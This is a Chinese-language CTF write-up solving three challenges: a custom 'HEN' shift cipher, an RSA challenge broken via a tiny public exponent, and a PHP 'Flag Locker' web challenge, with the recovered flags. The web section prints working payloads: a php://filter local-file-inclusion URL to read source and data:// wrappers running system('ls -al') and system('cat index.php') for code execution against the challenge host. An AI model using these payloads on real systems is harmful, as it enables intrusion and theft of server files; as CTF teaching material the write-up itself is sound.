HackMD網址:https://hackmd.io/s/B1grPrzOf
有些水題就不寫writeup了,交給其他人吧 (´・ω・`)
Crypto - Custom HEN
密文:
1 | 082_336_88_167755403 |
題目跟你說,密文的產生方式是:
1 | ## encryption |
所以我們只要逆向這個加密過程就好了:
1 | ## decryption |
先用 alphametic puzzle solver 把每個數字代表的英文找出來:
得到:
將密文替換:
1 | 082_336_88_167755403 = CZF_KKU_ZZ_GUYYPPNCK |
:::danger
HEN的加密模式:
左移偏移量 = ((字母的位置) * (字串總長度)) mod 26
注意!字串總長度不包含底線!
:::
:::success
HEN的解密方法:
右移偏移量 = ((字母的位置) * (字串總長度)) mod 26
不過首先要解決的就是 ‘A’ 往右偏移1位如何到 ‘Z’
:::
這邊我寫了 python script 作解密,分別算出每個字母的偏移量與明文。
字母左移的部份我採用 ASCII 來作減法運算。
1 | #! /usr/bin/python |
(PS:這樣code好亂Orz…我應該用function去實作的…)
執行完腳本後會得到 “THEARSOFDIDUCTION”,這個時候把底線與FLAG頭加上去就是正確答案了。
xiomara{THE_ARS_OF_DIDUCTION}
Crypto - Giveaway
可以秒解。
- N 太大,factordb不能分解出p、q
- e 很小
1 | #! /usr/bin/python |
由於e太小、N太大,導致於:
c = $m^{e}$ mod n
= $m^{e}$
也就是說,如果要解密m
m = $\sqrt[e] {c}$
xiomara{4y3_4y3_cryp70_6uy!}
Web - Flag Locker
這網站有LFI漏洞
可以用 php://filter 看到該網頁的源碼 (記得base64 decode)
1 | http://103.5.112.91:1234/?locker=php://filter/convert.base64-encode/resource=why |
不過依然找不到 FLAG,所以我們必須要能夠 RCE 才能找出FLAG:
1 | http://103.5.112.91:1234/?locker=data://text/plain,<?php system("ls -al")?>; |
最後,其實FLAG是在 index.php 裡面
1 | http://103.5.112.91:1234/?locker=data://text/plain,<?php system("cat index.php")?>; |
xiomara{s0metim3s_fl@g_c@n_b3d3cl@red@s_v@riable}